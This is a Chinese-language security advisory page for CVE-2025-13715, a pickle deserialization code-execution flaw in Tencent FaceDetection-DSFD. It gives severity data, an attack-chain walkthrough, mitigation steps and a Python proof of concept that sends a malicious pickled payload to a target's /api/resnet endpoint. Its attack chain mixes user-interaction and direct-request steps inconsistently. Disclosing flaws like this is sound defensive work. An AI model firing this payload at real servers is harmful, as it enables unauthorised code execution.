IPBUF安全漏洞报告
English
CVE-2025-13715 CVSS 7.8 高危

CVE-2025-13715: Tencent FaceDetection-DSFD resnet反序列化远程代码执行漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-13715
漏洞类型
反序列化漏洞/远程代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Tencent FaceDetection-DSFD

相关标签

反序列化漏洞远程代码执行CVE-2025-13715Tencent FaceDetection-DSFDZDI-CAN-27197pickle反序列化高危漏洞resnet端点ZDI披露CVSS 7.8

漏洞概述

CVE-2025-13715是腾讯FaceDetection-DSFD项目中的一个高危安全漏洞,CVSS评分达到7.8。该漏洞位于resnet端点,由于缺乏对用户提交数据的正确验证,导致不信任数据的反序列化问题。攻击者可以通过诱导用户访问恶意页面或打开恶意文件来触发此漏洞,成功利用后可实现任意代码执行,权限提升至root上下文。此漏洞由ZDI(Zero Day Initiative)发现并披露,编号为ZDI-CAN-27197。由于该漏洞需要用户交互才能触发,因此属于本地攻击向量(AV:L),但一旦成功利用,攻击者将获得系统完全控制权,对机密性、完整性和可用性均造成严重影响。

技术细节

该漏洞的根本原因在于FaceDetection-DSFD的resnet端点缺乏对输入数据的有效验证。攻击者构造包含恶意序列化数据的请求,当应用程序反序列化这些数据时,会触发隐藏的恶意代码执行。具体技术细节如下:1) 漏洞存在于resnet模块,该模块负责处理图像识别相关的请求;2) 缺少对用户提交数据的类型检查和完整性验证;3) 反序列化操作直接处理不可信数据,未实施安全防护措施(如使用白名单或加密签名);4) 攻击者可通过精心构造的序列化对象,在反序列化过程中触发代码执行路径。成功利用此漏洞需要攻击者具备一定的技术能力来构造恶意序列化payload,但由于不需要认证(PR:N),攻击门槛相对较低。用户交互要求(UI:R)意味着攻击需要结合社会工程学手段。

攻击链分析

STEP 1
步骤1: 初始访问
攻击者通过社会工程学手段,诱导目标用户访问恶意网页或打开包含恶意序列化数据的文件
STEP 2
步骤2: 构造恶意请求
攻击者构造包含恶意序列化payload的HTTP请求,针对FaceDetection-DSFD的resnet端点
STEP 3
步骤3: 触发反序列化
resnet端点接收到恶意数据后,在缺乏验证的情况下执行pickle反序列化操作
STEP 4
步骤4: 代码执行
反序列化过程中触发__reduce__方法,攻击者预置的恶意代码以root权限在服务器上执行
STEP 5
步骤5: 持久化控制
攻击者成功获取系统完全控制权,可执行任意命令、安装后门或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13715 PoC - Malicious serialized payload for FaceDetection-DSFD # This PoC demonstrates the deserialization vulnerability in resnet endpoint import pickle import base64 import requests # Malicious class that executes code during unpickling class MaliciousPayload: def __reduce__(self): # This will execute the command when object is unpickled import os return (os.system, ('whoami > /tmp/pwned.txt',)) # Generate malicious serialized data def generate_malicious_payload(): payload = pickle.dumps(MaliciousPayload()) return base64.b64encode(payload).decode('utf-8') # Send exploit to vulnerable resnet endpoint def exploit_target(target_url): payload = generate_malicious_payload() # Construct the malicious request exploit_data = { 'model_input': payload, 'endpoint': 'resnet' } try: response = requests.post( f'{target_url}/api/resnet', json=exploit_data, timeout=10 ) print(f'Response status: {response.status_code}') return response.text except requests.exceptions.RequestException as e: print(f'Error: {e}') return None if __name__ == '__main__': target = 'http://target:8080' print('[*] Generating malicious payload...') exploit_target(target)

影响范围

Tencent FaceDetection-DSFD < 修复版本
Tencent FaceDetection-DSFD 0.0.1 至最新版本(修复前)

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 限制用户对resnet端点的访问权限,避免暴露在不可信网络中;2) 实施严格的输入验证规则,拒绝包含序列化对象的请求;3) 监控应用程序日志,检测可疑的反序列化操作;4) 对相关端点实施速率限制,防止自动化攻击;5) 加强员工安全意识培训,警惕钓鱼攻击和恶意文件;6) 考虑使用应用沙箱隔离技术,限制潜在攻击影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表